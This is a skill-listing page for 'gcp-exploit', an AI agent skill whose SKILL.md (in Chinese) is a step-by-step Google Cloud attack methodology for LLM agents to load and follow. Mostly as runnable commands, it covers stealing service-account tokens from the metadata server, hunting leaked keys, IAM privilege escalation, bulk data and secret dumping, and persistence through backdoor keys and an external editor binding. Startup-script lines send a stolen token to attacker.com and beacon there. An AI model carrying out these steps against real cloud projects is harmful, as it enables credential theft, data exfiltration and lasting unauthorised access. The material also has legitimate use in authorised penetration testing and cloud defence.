Gcp Exploit logo

Gcp Exploit

OrganizationPopular
wgpsec
gcp-exploit

GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namegcp-exploit
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Gcp Exploit AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/gcp-exploit .claude/skills/gcp-exploit
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Gcp Exploit in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Gcp Exploit on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Gcp Exploit is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

GCP 云环境攻击方法论

与 AWS 的区别:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径

⛔ 深入参考


Phase 1: 初始访问与信息收集

1.1 Metadata 服务利用(SSRF → GCP 凭据)

bash
# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# 获取项目信息
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"

1.2 Service Account 密钥发现

bash
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;

# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露

1.3 Bucket 枚举

bash
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME

# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
  echo "$prefix: $status"
done

# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt

Phase 2: 认证与权限确认

bash
# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json

# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt

# 确认身份
gcloud auth list
gcloud config get-value project

# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
  --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud config get-value account)"

# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"

Phase 3: IAM 提权

3.1 常见提权路径

GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略

3.2 利用示例

bash
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
  --iam-account=high-priv-sa@project.iam.gserviceaccount.com

# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com

# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
  --runtime python39 \
  --trigger-http \
  --service-account=high-priv-sa@project.iam.gserviceaccount.com \
  --source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作

# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
  --service-account=high-priv-sa@project.iam.gserviceaccount.com \
  --scopes=cloud-platform \
  --metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'

Phase 4: 数据访问

bash
# Storage Bucket 操作
gsutil ls gs://                               # 列出所有 bucket
gsutil ls -r gs://target-bucket/              # 递归列出文件
gsutil cp gs://bucket/secret.txt ./           # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/       # 下载全部

# BigQuery 数据导出
bq ls                                          # 列出 datasets
bq ls project:dataset                         # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password

# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dump

Phase 5: 持久化

bash
# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
  --iam-account=existing-sa@project.iam.gserviceaccount.com

# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
  --member='user:attacker@gmail.com' --role='roles/editor'

# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon

# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
  --metadata=startup-script='curl https://attacker.com/beacon'

工具速查

工具用途
gcloud CLIGCP 官方工具
GCPBucketBruteBucket 枚举
ScoutSuite多云安全审计
ProwlerGCP 安全检查
GCP IAM Privilege Escalation提权检查工具
HayatGCP 攻击框架

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Gcp Exploit AI skill do?

GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举

Why use Gcp Exploit on TypingMind?

Because you install it once and use it with any model. Gcp Exploit is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Gcp Exploit in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/gcp-exploit. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Gcp Exploit?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Gcp Exploit?

As many as you like. As long as a model supports skills, you can use Gcp Exploit with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Gcp Exploit AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇